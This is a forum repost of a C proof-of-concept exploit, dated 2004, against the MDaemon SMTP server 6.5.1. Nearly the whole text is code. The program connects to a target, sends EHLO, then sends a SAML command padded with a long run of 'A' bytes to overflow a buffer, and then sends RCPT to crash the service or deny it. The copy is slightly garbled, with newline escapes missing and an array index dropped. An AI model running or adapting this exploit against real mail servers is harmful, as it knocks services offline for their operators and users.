文章作者： D_BuG
Remote denial of service proof of concept exploit that makes use of a buffer overflow in Mdaemon SMTP server version 6.5.1
复制内容到剪贴板
代码:
/////////////////////////////////////////////////////////////
// Remote DoS and proof-of-concept exploit //
// for //
// Mdaemon smtp server v6.5.1 //
// and //
// possible other version. //
// Find bug: D_BuG. //
// Author: D_BuG. //
// [email]D_BuG@bk.ru[/email] //
// Data: 16/09/2004 //
// NOT PUBLIC! //
// Greets:Rasco. //
/////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int sock,err;
struct sockaddr_in sa;
int main (int argc, char *argv[])
{
printf("Remote DoS and proof-of-concept(buffer overflow) exploitn");
printf(" for n");
printf("Mdaemon smtp server v6.5.1 and possible other version.n");
if(argc!=4)
{
printf("Usage: %s <IPADDRESS> <PORT> <TARGET>n",argv[0]);
printf("Target:n1.DoS.n2.Proof-of-concept(buffer overflow).n");
printf("e.g.:%s 192.168.1.1 25 1n",argv[0]);
exit(-1);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(atoi(argv[2]));
if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0)
printf("Error inet_ptonn");
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
printf("[~]Connecting...n");
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0)
{
printf("[-]Connect filed....nExit...n");
exit(-1);
}
int len=247;
if(atoi(argv[3])==2)
{
len++;
}
char szBuffer[len+7];
char buff[len];
char send[]="EHLO testern";
char send3[]="RCPT TO postmastern";
char rcv[1024];
int i;
for(i=0;i<len;i++)
{
buff=0x41;
}
sprintf(szBuffer,"SAML %sn",buff);
printf("[+]Ok!n");
sleep(2);
printf("[~]Get banner...n");
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"220")==NULL)
{
printf("[-]Failed!n");
}
else
{
printf("[+]Ok!n");
}
printf("[~]Send EHLO...n");
write(sock,send,sizeof(send)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"250")==NULL)
{
printf("[-]Failed...n");
}
else
{
printf("[+]Ok!n");
}
printf("[~]Send SAML...n");
write(sock,szBuffer,strlen(szBuffer));//Send SAML
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"250")==NULL)
{
printf("[-]Exploit failed...please check your version Mdaemon!n");
printf("[-]Exit...n");
exit(-1);
}
printf("[+]Ok!n");
printf("[~]Send RCPT...nn");
write(sock,send3,sizeof(send3)-1);//Send RCPT
sleep(2);
if(atoi(argv[3])==2)
{
printf("[+]Crash service.....n");
}
else
{
printf("[+]DoS service.....n");
}
printf("[~]Done.n");
close(sock);
return 0;
}
